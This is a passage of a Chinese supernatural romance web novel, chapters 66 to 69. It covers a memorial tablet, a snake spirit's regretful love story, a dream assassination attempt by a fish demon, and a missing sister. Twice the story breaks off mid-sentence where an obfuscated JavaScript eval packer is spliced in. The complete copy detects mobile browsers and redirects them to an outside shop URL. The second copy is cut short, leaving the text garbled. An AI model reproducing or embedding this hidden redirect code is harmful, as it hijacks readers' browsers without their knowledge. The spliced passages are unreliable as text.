定睛再往牌位上仔细一看,那黑漆牌位赫然用金墨写着:故人苏月…… 剩下的字来不及看,牌位顶上的红布就被一阵怪风给吹落了下来,正好把牌位上那一竖行金字遮得严严实实! 故人苏月、后面是什么? 姓苏,我妈从前好像说过,她家临到她这一辈正好是月字辈。 难道是我那位英年早逝的舅舅? 我捉摸不透地晃了晃脑袋,被窗户缝里的青烟熏得眼睛疼。 转身往堂屋大门走去,“妈,给我开门啊。” 我抬手要用力拍门板,但,一巴掌还没落下去—— 我就倏然发现,堂屋门栓上挂了锁! 我妈不在家? 门都锁了,肯定是出去办事了。 可我刚才还听见我妈的声音从屋里传出来…… 难道是幻听? 我又朝门缝里喊了好几声妈,依旧没有得到任何回应。 看来我妈是真不在家。 我无奈叹口气,感觉自己又白跑一趟。 毕竟我特意从村长江叔那买了一筐白萝卜送来,真实目的只是为了看望我妈。 东风是有了,可没箭啊! 我精神恹恹的只能原路返回了。 但,走了几步,我又忽然觉得,屋里不太对劲…… 回头望了眼往外冒青烟的屋子,我考虑片刻,果断跑回去掰开木窗,翻窗户跳了进去。 我妈也真是,怎么纸没烧完人就走了呢。 万一失火把房子点着了怎么办! 我蹲到铁盆前,挽起袖子用火钳挑起盆内未烧完的黄纸,让东西烧得更快些。 顺手放火钳,目光却无意扫到地上还放着两颗橘子味奶糖。 是我妈最喜欢的那个品牌。 我捡起一颗,眯着眼打量。 真是怪了,两年前我有一次去集上碰巧撞见有人在卖这个牌子的橘子奶糖,特意称了一大兜给我妈送过来。 我妈当时不但没要,还说自己已经不喜欢吃橘子奶糖了,让我以后不要再送糖果给她。 可她家里现在还有橘子奶糖…… 是不舍得让我为她花钱,故意那么说的吗? 盯着橘子奶糖的目光无意识落在正前方的供桌上…… 青烟氤氲,三炷香香头还冒着红光。 我怔了怔,猛地回神,才看见供桌上也摆着一大盘橘子奶糖! 这糖,是我妈买来供故人的? 屋内不知从哪透进来的阴风吹得牌位上那块红布微微晃动。 我站起身,放轻步子,缓缓走到供桌前方。 抬起手,心中莫名一阵恐惧不安…… 抓住红布,轻轻一扯。 丝滑的红布从牌位上迅速滑落—— 那行金墨书写的正楷再次出现于视线中。 第66章 红布盖着的牌位 “故人苏月……” 看见牌位上名字那一刹,我提到嗓门眼的那颗心内霎时掀起惊涛骇浪,太阳穴突突直跳! 指尖一抖,红布掉落在供桌上。 我被吓得踉跄一步,头皮发麻。 一晃神,再定眼看清,才发现牌位上写的是:故人苏月英之神位—— 是苏月英,不是苏月隐。 我砰砰惊惧的那颗心总算平复了下来。 捂着胸膛猛喘几口大气,我两腿发软地扶着供桌闭眼冷静片刻…… 真是自己吓自己,我妈还活得好好的呢,这副牌位上怎么可能会是我妈的名字! 一定是早上**墨川那个死变态磕伤脑子留下了后遗症,中午又忙着做家务没来得及休息这才把自己拖出了幻觉幻听—— 苏月英,是我舅舅的名字。 我妈的娘家是村里公认的书香世家,我妈妈家祖上是专给皇帝编书的翰林文官,祖籍在槐荫村,但祖上都是在京城任职。 直到我妈的太爷爷那一辈家道中落,苏家才举家从京城搬回祖籍槐荫村。 也因为由富转贫的强烈落差,我妈的太爷爷受不了自己前一天还是受人尊敬的‘翰林老爷’,后一天就成了黄河边上靠打鱼为生的农民。 上个月还在吃香喝辣,鲍鱼海参满桌,这个月却连口新米都是奢求的打击。 回槐荫村不到两个月就郁郁而终了。 不过,苏家是穷了,但刻在灵魂里的文人风骨却没有丢。 我姥爷是村里三十年前的老支书,因为在黄河起浪时下水救个孩子不幸遇难,被淹死在了黄河里,村里乡亲们全员出动打捞了两个月也没捞上我姥爷的尸体。 我姥爷的坟,至今还是个空壳子。 姥爷走后,我姥也因为爬梯子上屋顶铺瓦从房脊上失足摔了下来,当场被摔断了气。 我妈嫁给我爸的那年,我舅舅夜里去玉米地抓贼,结果反被偷玉米的贼一石头砸**。 后来那个贼被判过失**罪,收监改造二十年。 那会子村里人都说我姥姥家频频出事是惹上了什么玄乎的东西,要不然绝不可能那么巧短短三年,家里走了三个人。 再后来,姥姥家就成了村里有名的凶宅。 别人家废弃的老房子一年被盗三次,小偷恨不得把家里的锅碗瓢盆全都运走。 而我姥姥家的门锁十几年都没人敢撬。 五年前我妈从外面回来,提出要搬回姥姥家住时,村长江叔就曾说过这处宅子可能有问题,不适合住人,再三要求我妈三思后行。 好在,我妈住进来的这几年,并没有受什么晦气邪祟影响,出任何意外。 也许,也和我妈现在懂点那方面的知识有关。 小时候我妈和我说过,她和我舅舅的名字都是我姥爷起的。 她出生在农历二十三的夜晚,乌云遮月时,所以叫月隐。 舅舅出生在三月桃花盛放的时节,也是夜晚出生的,呱呱落地那会子,月光透过窗外的桃花花隙洒进屋内,照在舅舅的脸上,所以叫月英。 我妈和舅舅姐弟俩打小就关系好,舅舅过世,每年清明节中元节我妈都会给舅舅姥姥准备许多黄纸冥币与贡品。 原来今天我妈在屋里祭拜的,就是我舅舅。 但,为什么舅舅的牌位上写的是故人、苏月英? 舅舅也喜欢吃橘子味奶糖? 为什么我妈还要用红布盖住舅舅的牌位…… 我实在想不通,火盆里的黄纸也被烧干净熄了火。 浓烟散去,我将两扇木窗全部推开,确认屋里没有任何安全隐患了才翻窗户再出去。 把萝卜放地上摆好,筐拿走,临出门我还摘了我妈花园里几朵红黄白色月季花。 月季花放在竹筐里,我拎着小花筐沿黄河边那条道回家。 走到镇水楼前,我竟意外撞见了送柳云响回黄河的柳云衣…… 鳞甲翠绿似翡玉的巨蛇猛地跃进黄河中,庞大身躯在层层被风掀起的浊浪里若隐若现,渐游渐远—— 岸边风袭桃花,满河岸的落英,遍地残花如雪。 我走到柳云衣身边,目送云响离去。 “你俩之间,有故事。”我说。 柳云衣没有表情的俊脸倏然一拉,情绪转变极快的瘪了嘴,委屈得眼眶发红: “云响,是我的未婚妻。” 我淡定点头,“猜到了。” 柳云衣望着汤汤黄水,眼底情绪百感交集: “当年我母亲和她母亲是手帕交,我父亲和她父亲是结拜兄弟,我尚在襁褓中,就与还在她母亲肚子里的她,被双方父母指腹为婚了。 我们俩,算是青梅竹马。小时候总在一起玩,一起长大。” “那你与她,为什么却走到了现在这一步?”我不解追问。 柳云衣昂头,眨了眨红彤彤的双眼,努力不让泪水流下来: “嗨,还不是年少无知,伤了她的心嘛! 我和她一起长大,后来更是拜在了一个师父门下。 我两百岁那会子,性子有些叛逆,家里人越是对她好,夸她聪明机灵,我就越是嫉妒她。 我就想着,我爹娘每次都嫌我是木头脑袋天资愚钝,凭什么她一个外人更讨爹娘欢心。 而且,那会子更让我接受不了的是,爹娘每次都拿她同我做比较,说她法力修**得如何精湛,脑子如何好使,天分如何强大。 我在修炼这方面,确实不如她,蛇妖一两百岁的年纪,正是自尊心最强的阶段,她总事事压我一头,让我很有压力。 久而久之,我只能通过逃避她,躲着她,来维护我那可笑的自尊心。 再后来,师门里的师兄弟们不晓得从哪得知我与她之间有娃娃亲,就追着我拿这些事取笑我。 她给我送吃食,师兄弟们会说我,小小年纪就学着吃软饭了。 我比武打不过她,师兄弟们又会说,我连自己的小媳妇都打不过,真没出息,以后准是个妻管严。 即便我知道师兄弟们说的这些话没有恶意,单纯是逗我玩,可对当时极度排斥别人说我不如她的我而言,这些话还是很刺耳,很伤我自尊。 她越优秀,我越在师门抬不起头。 渐渐地,我开始有意疏远她,甚至跟着看她不爽的师妹们一起嘲讽贬低她。 但我这样伤她,她依旧没有生我的气,只是默默准备着与我的定亲仪式,待我如常。 我也知道我那样做不对,可我……当时就是糊涂! 我仗着她的忍让,得寸进尺。 定亲仪式前一晚,我和师门兄弟姐妹们一起喝酒,有几个坏心眼的师弟怂恿我逃婚,其中有个小师妹更是缺德,给我出了个让我后悔终生的主意…… 她要我,带着另一个对我有好感的师妹去定亲仪式,让我用那个师妹,刺激阿响,只要阿响落泪,就算我赢。” 我诧异拧眉:“你不会真脑残干了吧!” 柳云衣被我这一骂,哇一声就哭了出来,边擦眼泪边愧疚说: “我为了证明我不是妻管严,我能压得住阿响,脑子一热,就真这么干了! 我抱着别的女人参加定亲仪式,还对她咄咄逼人,我看见了她眼底的悲伤,我想收手时,已经晚了。 阿响脱了红衣,离开了我家。 我去追她,没追上。 她父母和我父母都对我失望至极,我娘将我吊起来打了三百鞭,心疼阿响,心疼的一直在哭。 我娘说,就算我再对阿响有意见,也不能当众羞辱阿响,亏阿响还对我一片真心…… 我那会子虽对阿响有疚,但我娘越打我,我反而越理直气壮地认为,这一切都是阿响逼我的。 打那后,阿响父母就不和我家来往了,我去找了阿响很多次,都没能进得了她家门。 大约过了半个月,我娘才和我说,阿响离家出走了。 我找遍整条黄河,都没能找到阿响,我没心没肺地想着,阿响的气性也太大了,不就是开个玩笑么…… 可过了小半年,我才意识到,我当初的行为对阿响的伤害有多深。 原来,那天我怀里搂着的师妹,曾在私下欺负过她,故意将她的贴身衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17431816|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物拿给几位师兄看,还在她受伤时,存心当着师父与几位男弟子的面,撕开了她胸口的衣物,让阿响被很多人看见。 后来更是把阿响胸口有颗红痣的事,传扬得人尽皆知,还说那颗痣是荡女痣,有痣的女人……欲求不满。 而我,在她发了狠要给那个师妹点颜色看看时,不明状况就一味偏袒保护师妹,还把那个女人带去了我们定亲仪式,放话要更改定亲对象。 用你们人类的话说,我那天,是当着她的面,口口声声说要娶霸凌过她的女人。 我不知道她经历过这些,却也在无意中,狠心撕开了她心底的那道深疤。 所以,她才选择离家出走,永远离开我。” 我忍不了地默默往旁边迈一大步,离他远些,干笑两声讽刺道: “现在看来柳云响的脾气还是蛮好的,换做别人,你早被对方大卸八块了!” 柳云衣哽咽着说下去: “一年后,我再见到云响,是她父母遭人虐杀,满门被屠的第二天。 她穿着一身黑衣,一剑斩杀了我们的师父,还顺手砍掉了那个曾经霸凌过她的女人双腿,剜了那女人双眼。 报完仇,她独自一人,葬了全家。 我听说她回家了,却没脸去见她,那时候我还心存侥幸,以为我和她还会有以后。 可惜没过几年,我全家也**了,我查出杀我父母的人和龙宫水师将军有关,又恰好听闻他爱喝酒,我就扮成酿酒师溜进了他的水底仙府,在他喝得酩酊大醉那晚,割掉了他的脑袋。 然后我就成了黄河龙宫下追捕令的通缉犯。 那几百年,我东躲西藏,偶尔会偷偷跑回家,远远看阿响一眼,发现我爸妈的灵位,也是阿响在帮我祭拜…… 五百年前,龙宫的追兵盯上了阿响,我晓得水底是不能再待了,就给阿响留了封信,上了岸。 我怕我即便上岸也是凶多吉少,为了不让阿响把时间浪费在我这个烂人身上,我就和阿响说,别等我了。 若是遇见合适的,就嫁了吧,我们的婚约就此作罢。” 我无奈摇头:“那你后来在上面又是**的?” 柳云衣掐腰怒道: “说起这个我就生气!我在上面老老实实当个守护一方的小仙家呢,谁知竟撞上一条蚺妖祸害苍生,搞得东边乌烟瘴气,惊动了当地城隍。 城隍上奏天庭,从天上调了雷部天兵,直接降雷把蚺妖藏身的那座山给劈平了!” “你也在那座山居住?”我甚感惊讶。 柳云衣抹了把眼泪气呼呼道: “当地百姓给我盖的庙就在山脚下,我那天在庙里睡得正香呢,突然一个天外巨石飞下来砸在了我的庙上……我的肉体都被砸扁了! 灵魂在外面飘荡了小半个月,才撞上你妈,被你妈收进牌位里养着!” 听完他的遭遇,我一时竟不知该如何安慰才好…… “那你也太、倒霉了点。”**笑两声。 天兵降雷劈蚺妖却把柳云衣给砸**,这简直是无妄之灾。 “可不是么,千算万算没算到,我躲过了龙宫的追杀,却死在了蚺妖的连累下,我冤啊!”柳云衣仰天哀嚎。 我看了眼浊流滚滚的黄河水面, “你好不容易逃出黄河,在外躲了好几百年,现在回来,会不会被河里的龙宫兵将发现?” “头几年我的确也怕被黄河龙宫那边察觉,日日提心吊胆,但现在我自由了,不用再怕了,熬出头了!”柳云衣激动面向滚滚黄河兴奋感慨。 “啊?龙宫那边不追杀你了?”我不太明白。 柳云衣点头: “我现在可是跟着大王混,前几天大王特意把我喊过去问了我的过往,我原以为他要把我咔嚓了。 但他听完我的讲述,不仅没怪罪,还说那畜生该死,我没砍错人。 大王都不追究了,黄河龙宫那边肯定也不会再抓我问罪了!” 我还是不懂:“为什么帝曦不追究,黄河龙宫就不会问罪?帝曦在河底,到底是什么地位?” 第67章 本王无时无刻,不想让你死 柳云衣清了清嗓子,回答得含糊: “大王他……是河底一名龙王,在黄河龙族么,地位显赫。 反正他的话,在黄河大龙王跟前也是管用的! 小萦你只需记住他是个大佬就成了,在河底没有他办不成的事!” 柳云衣曾说过,河底大小龙王一大群。 想来帝曦便是其中之一了。 我站在河边吹着冷风,没继续问。 早上我被撞到脑袋后,脑子里隐约记起了一些黄河边上的片段。 河面飘满写着金色文字的红枫叶那一幕,在我脑海中迟迟挥散不去。 小时候,我好像常蹲在黄河边,给一个人写信。 但那个人是谁……我又一点印象都没有。 那段记忆和在风大年一家的记忆又完全不一样。 我住在风大年家,被风柔欺负,被风大年两口子算计的记忆虽然也是断断续续,并不连贯,但这段记忆是很清晰、很真实、很厚重的…… 而关于那个人的记忆,我只能想起满河面的枫叶,只能想起春日桃花被风吹落水中……我想折一枝桃花,送给他看。 记忆里的枫叶与桃花,都是朦朦胧胧的。 纵使想起来,也会让我不由自主地怀疑那究竟是真实发生过的,还是我的幻觉。 柳云衣还在河边后悔窝囊地抹眼泪, “阿响,我知道错了。你这一走,或许咱们这辈子都不会再见了…… 别恨我,若再来一次,我绝不会那样伤害你。” “阿响,我就是个浑蛋,我对不起你。” “阿响,你怎么走得这样急,连个弥补的机会都不给我……” “阿响,你是我的未婚妻啊,我这辈子,只认你一个妻子。” “阿响,你不要我了吗……” 这家伙在我身边又哭又嚎的,我看着他鼻涕都快流嘴里的埋汰样,受不了的扶额,从口袋里掏出纸巾抽两张塞他怀里:“把你的眼泪鼻涕擦擦!” 咦——幸好当年没选他! 柳云衣用手帕纸捂着鼻子用力擤一把鼻涕,两眼哭得红肿,接着冲黄河嚎:“阿响,这些年我好想你啊。阿响——” 我忍住想一脚踹飞他的冲动,受不了的心累提醒: “想她就下去追啊!你是蛇又不是人,跳进黄河淹不死你!” 柳云衣闻言怔了怔,紧接着又哭:“可她不想见我,不会原谅我的。” 我烦躁催促: “她原不原谅是她的事,你忏不忏悔是你的事! 去,现在追上她,告诉她你错了,后悔了,求她原谅你,和她说你想她,你爱她,你不能没有她! 她要是一尾巴把你打回来,至少你该说的都说了,就算余生再不相见也不会空留遗憾。 你现在光对着她的背影嚎有什么用?她不知道你的心思,不晓得你的愧疚,你们就这么不明不白分开了。 等百年千年以后,你老了,怕是也会后悔自己年轻时没有勇敢一把,追上心爱的女人再争取一回。 柳云衣,你拼一把,才能创造奇迹!你主动,才能和心爱的女人有未来啊!” 柳云衣被我说动心了,眨了眨婆娑泪眼,两秒后,再次哇一声哭出来: “我倒是想追啊,我现在这状况、就算跳进黄河也追不上,我还受牌位控制呢!” 是哦,他们平时受牌位约束,能出我家院子就已经很不容易了。 柳云响游得那么远,这家伙怕是刚跳进黄河就被牌位的力量给拽回来了。 我思考少时,给他出主意:“要不然你附我的身吧!用我的身体去追!” 柳云衣止住哭声,打量着我的这副小身板,表示质疑: “你现在可是凡人躯体……游个几里已经是极限了,往黄河深处游你会出事的。” 我义正言辞地坚定道: “可以试试嘛,你多耗损点法力护好我的身体就成。没关系,为朋友两肋插刀,值!” 柳云衣不敢回应地抽了抽嘴角。 “附你身,大王回来会一巴掌拍死我吧……” 抬眼往我身后的黄河水面看了看,柳云衣突然警觉的眸中一亮,欢喜道: “不用你插刀了!我媳妇回来了!” 我:“啊?” 转身放眼望去,一股潮湿水雾扑面袭来—— 灵蛇卷着河中黄浪一飞冲天,于半空中迅速化回黑衣乌发年轻女孩的人形模样,翩翩落向柳云衣…… “卧嘞个槽啊,柳云衣接住我!救我!” 下一秒,柳云衣就白影一晃,飞入虚空,迎向坠落的柳云响。 张开双臂一把将柳云响稳稳接住—— 我呆呆仰头看着天上这英雄救美的一幕,心累叹气。 这爱情的酸臭味啊! “阿响,你怎么、又回来了……”柳云衣没出息地喜极而泣。 埋进柳云衣怀里的柳云响委屈哭嚎: “我前一段时间把老鳡他儿子揍了,这家伙记仇地在河里找了我大半年,我刚才一下去,就被他抓到了。 他说他要剥了我的皮给他儿子做书包,我现在修为还没完全恢复呢,根本不是他的对手啊! 他就追在我身后呢,柳云衣快把我藏起来,别让他发现我了!” 柳云衣一阵狂喜地抱紧柳云响,“没事了,他不能随便上岸。阿响,我们先回去。” “回哪去?我要回家啊!” “你还敢进河里么?我们先回小萦家,小萦身上有大王给的信物,水里的东西不敢靠近小萦。” “呜,那行吧……” 柳云衣这运气,实在太好了。 这么容易就抱得美人归了…… 不过,我怎么觉得自己好像被他们当护身符用了! —— 晚上,我做了一桌子菜等帝曦。 可从七点半等到九点半,也没见他回来。 流苏默写完课文,跑来我身边陪我,望着桌上被热了一遍又一遍的六道菜,小声和我聊天: “二姐,姐夫不是都和你说了,九点等不到他,就不要等了吗。 现在都快十点了,姐夫今晚肯定是不回来了。 你就别再饿着了,总不能姐夫一直不回来,你就也一直不吃饭吧。” 我趴在桌子上无精打采道:“他不回来,不和我一起吃饭,我还真有点不习惯。” 流苏挽住我的胳膊乖乖歪头靠我身上:“二姐你这就离不开姐夫了?还说和姐夫不是那种关系。” 我拍拍流苏手背,轻轻和她袒露内心: “你姐夫呢,不会真娶个人类当老婆。 我们俩不属于同一个物种,跨种族的婚姻是不会有好结果的。 你姐夫现在只想着利用我恢复修为,他的未来,他有自己的打算,反正他的计划里肯定不包括我。 我们俩现在只是暂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是吗?我不知道啊,我就是觉得好看,多摸了几回,玉衡哥哥就把玉佩给我了。” 我:“……” 确定了,胡玉衡喜欢流苏这一款温柔甜美软糯糯的姑娘。 等到十点半,帝曦还是没回来。 我实在熬不住了,就撤了饭菜乖乖回屋睡觉,不等了。 夜里风吹树叶,哗哗作响。 雨点噼里啪啦打在窗户上。 迷迷糊糊睁开眼,却恍惚看见被我放在枕边的扇贝吊坠在发光。 有什么东西从扇贝里飞了出来。 “哎,两个犟种,一个嘴硬死不承认自己还爱,一个明明在意,却非说没结果。” “臭大王,不爱娘娘,别把我送过来呀!” “既然大王舍不得动手……那小的,来替大王分忧。” 我好像,在黄河边看见了帝曦。 “帝曦!” 我心下一喜,朝他跑过去。 “你回来了?什么时候回来的,我等了你好久……” 话没说完,心口就猛一阵刺痛。 我不敢相信的痛苦低头,却见到,他亲手将一把****了我的胸口—— “风萦,这千年来,本王无时无刻,不想让你死!” 第68章 你想掐死她,当本王**不成! 无时无刻、不想……让我死? 血濡湿我的胸口,一阵温热,黏糊糊的。 我痛得弯腰,手按在被刺穿的胸膛上,指尖抵着他**我心脏的刀口。 鲜血汩汩染红我的掌心,我难以置信地昂头看他。 身体的伤痛竟被心底翻涌而上的酸涩强压了一头…… “为什么、想让我死……” 我没出息地湿了眼眶,抓住他的**刀身,愣愣凝望着他:“你不是说过、不会伤害我的吗?” 他面无表情地抓着刀把,闻言竟狠心地将**再往我心脏送了几分…… “本王,骗你的。” 我似能听见刀刃划破血肉的磨擦声,看着他的暗紫眸子,一股压抑的绝望感铺天盖地笼罩下来—— 忍不住的泪流满面,颤颤哭出来: “连你也想让我死……连你也欺负我。帝曦,你个骗子!” “他们都抛弃我,连你也要杀我。” “我就这么让你讨厌吗?” “帝曦……” 我哭得痛彻心扉,不甘心地抓住他手腕,执意要问出个答案: “为什么想让我死?为什么连你也想让我死!你告诉我,告诉我啊!” 他回答不上来,只能用力挣脱我的手,“你给本王、松开!” “你告诉我,我哪里招你惹你了,你为什么要杀我!” “风萦,你撒手!” “我不!你不告诉我答案,我死不瞑目!” “风萦……” 然而,拉扯间我却猛地发现,他腕上没有我给他戴上的平安绳。 且,他以前就算想甩开我,也只会收着力把我拂开,根本不会像现在这样用猛力推搡我! 他是龙王,就算是在气急败坏的状态下也会保持着优雅尊贵的气质风度…… 可眼前的他,却会被我烦得跳脚。 脑子里忽地警铃大作,不对,这不是他! 我止住眼泪,猛一把甩开他的手腕。 仓皇往后退了两步。 “你到底是谁!”我拔高嗓音,警惕质问。 对面的紫袍男人愣了下,被我甩得一个趔趄这才站稳重心,意外低呼:“我天,这都能认出来!” 我发觉不对,心惊胆战地转身就要跑。 但那人却一晃眼出现在我面前,拦住我的去路,用着帝曦的脸做出狰狞表情,猛一抬手,狠狠扼住我的脖子。 单手掐我脖子将我拎起来,阴狠狂戾道:“我是来杀你的人!水神娘娘,**吧!” 水、神…… 我被他掐得不能呼吸,极度恐慌地着急挣扎着,试图用手掰开他的魔爪—— 然让我没料到的是,下一秒想掐死我的男人就被一道法力强势击退,扼在我脖颈上的魔爪一松,我的身子失重坠落了下去。 紧接着,又有一缕紫光灵力缠上我的腰身,赶在我被摔个狗吃屎前,把我扯回了那个满身沾染玉灵花香的清凉怀抱…… 后背撞在男人结实宽厚的胸膛上,我失魂落魄地昂头,看见那张再熟悉不过的清隽容颜,瞬间热泪涨满眼眶。 “帝曦……”我委屈瘪嘴要哭。 正牌龙仙大人见我满脸是眼泪,无奈皱眉,拿我没办法地抬起玉手给我擦拭脸颊泪痕,放轻声安抚: “好了,别哭了,噩梦罢了。倒是有脑子,能辨出他不是本王。” 我还想和他倒苦水来着,他却指尖凝聚灵光往我脑袋上一拍,把我拍昏过去。 接住我瘫倒的身子,他轻手抚了抚我脑袋,沉声问罪: “本王是要你保护她,谁许你对她动手的?!” 对面那人干笑: “哈、哈哈,小的这不是想替大王分忧嘛! 是大王你自己说的,你恨她,这辈子都不会原谅她…… 大王你舍不得下手,那就让小的在梦中解决了她!” “你还真是会为本王分忧!” “大王……啊大王你这是要干嘛!疼疼疼!大王您为什么要封印我的法力啊!” “鱼妖,是不是本王最近好脸给多了,都让你忘了谁是主谁是奴了! 本王警告你,没有本王的允许,你不可再动风萦一根头发。 不然你的下场就不是被封印法力,折断鱼尾这么简单了!” “啊——大王不是您自己说的,迟早要杀了她解气吗? 呜,你被封印河底千年,可都是拜她所赐…… 大王啊,你难不成不想报仇了?” “杀不杀她,是本王的事,何须你一只鱼妖干涉! 她是本王的夫人,你想掐死她,是当本王**不成! 本王看你劣性难驯,很是不听话。 从今日起,你便做风萦的契妖,再敢伤害风萦,便让你十倍承受反噬!” “啊?大王你不要我了吗? 我不做她的契妖,我这辈子只听大王你的话,求求你了大王,别把我送给这个女人。 我、我有恐女症,我在女人身边会水土不服的…… 大王我知错了,你别把我送人啊! 大王,我以后再也不欺负她了——” 魂魄被人从梦境中带出来,半醒状态时,我隐约听见耳边有稚童的声音在嘴碎念叨着什么…… “还说不是余情未了,察觉到娘娘有危险立马就不远千里的灵魂出窍从黄河尽头赶回来。嘁,死鸭子嘴硬。” “让我做娘娘的契妖……可惜啊,大王你怎会晓得,小鱼我呀,比你早认识娘娘好几百年呢。” “把我送给娘娘,才不是什么惩罚呢,我原本就是娘娘……哎!算了,当**不提也罢。” “千年了,小鱼终于可以回家了。” “哎呦我的小尾巴啊,娘娘啊,为了你,鱼鱼我可是煞费苦心,连尾巴都被那条龙折断了…… 明天还是得让柳云衣帮我接个骨。” “哇我这漂亮的鱼尾啊,大王你不做人啊——” 我好像做了个噩梦,但早上清醒过来,又转瞬全都忘干净了。 只朦胧记得,我梦见帝曦了…… 梦见他和我说: “风萦,本王不会伤你,也不会抛弃你。 记住本王掌心的温度,不许再被人骗了。” 他掌心的余温还犹在我指尖,梦里的帝曦,倒是挺仗义。 我晃了晃沉重的脑壳,换好衣服伸个懒腰走到窗前,昂头沐浴和煦阳光。 真好,昨晚还风雨交加的,今天一早外面终于出太阳了。 但是……谁往我窗台搁了个小鱼缸。 鱼缸里还有条彩尾小银鱼! 只可惜小鱼的尾巴好像受伤了,在水里游起来尾巴有点使不上劲,尾巴根根上还带着几点血迹。 我捧起鱼缸,好奇地冲门口喊:“胡玉衡柳云衣,你们养鱼了?” 片刻,堂屋里传来柳云衣的着急避嫌声: “哎?饭可以乱吃话不能乱说哦。 我柳云衣清清白白洁身自好着呢,怎么会干养鱼这种遭雷劈的蠢事?” 胡玉衡也呛咳了声,无奈道:“小萦,我是狐仙,单身,不养鱼……” 啊?这都什么和什么啊! 我捧着鱼缸心累叹气:“我说的是真鱼啊。” 看着水里小鱼流光溢彩的扇形丝滑大尾巴,我忍不住夸道:“这鱼真漂亮!就是……小了点。” 和镇上菜市场卖的小金鱼体型差不多,但比小金鱼身形好看,尾巴也比小金鱼柔软、细长—— 鱼缸里的小鱼像 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水缸里的小鱼仔尴尬哈哈笑了两声,心虚缩脑袋: “原来贼说的是我啊……啊哈哈,好久不见啊,大蛇……” 胡玉衡不解地问柳云衣:“你俩认识?” 我右眼皮疯跳:“还说不是你养的鱼。” 柳云衣搂着鱼缸甚是无语,拿那条鱼没办法地解释道: “这不是我养的鱼,这家伙之前都是跟在大王身边的。” 说着还晃了晃缸里的清水:“嗳,小破鱼,你这次怎么没跟着大王一起出门?” 被柳云衣晃得有点翻肚皮的小银鱼耍脾气吼道: “死蛇!你能不能别手欠这么晃我,再晃我要吐了! 大王没带我一起出门,还不是因为放心不下娘娘。 大王怕他不在娘娘身边娘娘会碰上什么危险,大王知道你们这群家伙没一个中用的,为了以防万一,大王就把我送给了娘娘,让我保护娘娘的安全!” “娘娘……” 柳云衣豁然开朗: “哦我懂了,大王把你留下来照顾小萦的!啧啧啧,大王可真是在意小萦的紧。” “可不是嘛!大王活了好几千年好不容易才有了这么一个小媳妇,肯定要捧在手心呵护着啦!” 小鱼仔探出水面,扒在玻璃鱼缸缸口一本正经与我说: “娘娘你别看大王平时摆着张臭脸,不说人话,但其实那都是他装的! 实际上大王心底可喜欢你了! 大王只是死要面子,才总一副高冷模样。 我和你说哦,娘娘你下次多和他撒撒娇,他保准立马破功。 我家大王我还能不了解么,他就是假正经,只要娘娘你主动,你俩一定有故事!” 我听完有点不好意思苟同的干笑笑:“哈、哈哈,这样嘛……” 你家大王知道你在背后是这么蛐蛐他的吗? 和帝曦撒娇…… 我怕他破功后的第一反应是把我踹出房间,让我滚去下屋睡。 我家这位龙仙大人可傲娇着呢,调戏他有风险。 “原来你是帝曦特意留在家里的啊……你昨天藏哪去了?我怎么从没见过你?”我问小鱼仔。 小鱼仔扒在缸口做引体向上: “以前跟在大王身边,我都是睡在大王袖子里的,娘娘你当然没见过我。 昨天大王把我的家送给了你,我白天躺在家里睡大觉,夜里才出来的。” “你的家……” 我恍然反应过来,从口袋里掏出那只紫水晶扇贝吊坠: “你说的是这个?” 第69章 伤害苏苏,你们都该死! 小鱼仔点头如捣蒜: “是呢!这原本是件龙族法器,我修为不精岁数又小,大王开恩,便将这件法器赐给我当家了,没事的时候我就躲在法器内静心修炼。 大王把这件法器送给你,不仅是因为法器能随时感应到他,还因为法器内住着我! 大王不在,我就能代替他做你的小保镖啦!” 帝曦他、竟这么关心在乎我的安危吗? 不过是出门两天,还特意送了我一个保镖…… 不得不说,我这辈子,还是第一次感受到被人在乎、牵挂的滋味。 我低头没说话,手里摩挲着水晶吊坠,胸腔内五味杂陈。 “小鱼精,你尾巴怎么了?” 柳云衣捧起玻璃鱼缸好奇打量,银鱼一听这话立马委屈诉苦: “老蛇啊,我好惨啊,我被大王揍了,大王嫌我自作主张胡乱帮他办事,就封印了我的法力,还斩断了我的尾骨! 快啊老柳,帮我接个尾,我这么漂亮的大尾巴,都被大王给打劈叉了!” 柳云衣听完长叹口气,抱着小鱼仔回了堂屋: “你啊,就是欠揍!你说你没事惹大王干什么,亏得他只是把你尾巴打劈叉了,而不是把你身体打劈叉了! 你这小身板,真把他惹恼了,还不够他一口塞牙缝的。” “哎,我这不也是为了他的美好未来嘛!真是不识好鱼心!” 我把水晶吊坠塞回口袋里,看了眼还在跟前站着的胡玉衡,轻声问他:“苏苏呢?竟然没和你在一块。” 胡玉衡温和道:“去院子外的菜地里拔青菜去了,说是中午让你做菜汤。” 我拍拍袖子:“那我去菜园子里找她!” “嗯。” 简单洗了把脸,我拎上竹篮打开院门,往西边的菜地去。 可靠近菜园子,我却没有在菜地里看见苏苏的身影。 苏苏拔的菜还整齐摆放小路上,而苏苏人去了哪,我环顾四周把附近能找的地方都找了,也没得到答案! 找不到苏苏,我的第一反应就是怀疑风大年一家。 毕竟苏苏在村里唯一的危险,就是他们一家四口! 我扔下菜篮子,果断往风大年家快步赶去。 抬手用力拍了拍风大年的院门,过了将近三分钟,风柔才慢吞吞开了门。 见到拍门的是我,风柔眼底划过一瞬惊恐,但很快又平息下去,立马假装热络地拉我手,欣喜道:“小萦你来啦!我妈包了肉包子,你快进来尝尝。” 我挣开她的拉扯,开门见山地直接问:“流苏呢?” 她茫然地啊了声,结结巴巴道: “我、我不知道啊……小萦你、是来找风流苏的?我还以为、你是来找我玩的呢。” 